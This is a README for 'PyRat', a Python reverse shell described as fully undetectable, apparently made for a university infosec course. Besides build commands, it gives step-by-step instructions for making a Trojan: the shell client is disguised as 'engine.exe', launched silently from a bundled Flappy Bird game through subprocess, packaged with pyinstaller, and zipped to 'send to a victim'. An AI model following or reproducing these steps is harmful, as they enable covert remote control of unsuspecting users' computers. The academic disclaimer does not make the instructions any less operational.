PyRat: ReverseShell

A Fully Undetectable Python 3 Reverse Shell Script

---

Disclaimer

Developed by Gerard Ian M. Balaoro
In Partial Fulfillment on the Requirements for the Subject
LIS 198: Information Security
1st Semester, A.Y. 2018-2019
University of the Philippines Diliman

The author intended this to be used solely for academic purposes

---

Usage

• Install required Python packages.

   pip install -r packages.txt
  

• Run the server script.

   python server.py --port 58777
  

• Configure server settings inside config.ini.

  {
    "host":"127.0.0.1",
    "port":58777
  }
  
  

• Run client script in another computer.

Building Binaries Using PyInstaller (Windows)

• Server script

  pyinstaller server.py -F -y -i assets/icons/shell.ico --distpath "dist/PyRat" --name "PyRatServer"
  

• Client script, use the windowed option to prevent the script from launching a command window

  pyinstaller client.py -F -y -i assets/icons/gear.ico --distpath "dist/PyRat" --name "PyRatClient"
  

Building Trojan Executables (Windows)

Injecting the client script inside the parent entry script.

It’s faily easy to integrate this script to any Python application. In this example, we will use this Flappy Bird Game recreated by Sourabh Verma using the PyGame library.

All we need to do is execute the client script silently whenever the game is initialized. We also need to think of an unsuspicous name to use when compiling the client script, in this case, we’re using ‘engine.exe’. This can be accomplished using Python’s subprocess library:

import subprocess
payload = subprocess.Popen('engine', shell = True, stdout= None, stderr = None, stdin = None)

Building the Game Package

Run pyinstaller and copy the assets folder to the destination:

pyinstaller flappy.py -F -y -i assets/icons/flappy.ico --distpath "dist/FlappyBird" --name "flappybird" --windowed
xcopy "assets" "dist/FlappyBird/assets" /E /S /Y

Once done, we can now see our Trojan application inside the build/FlappyBird directory. All there’s left to do is to change the configuration settings, compress this to a zip file and send it to a victim.

.
├── ...
├── config.ini  # Server settings
├── engine.exe  # Concealed payload
├── flappybird.exe 
└── ...

Credits

• This script is based on this article from WonderHowTo.com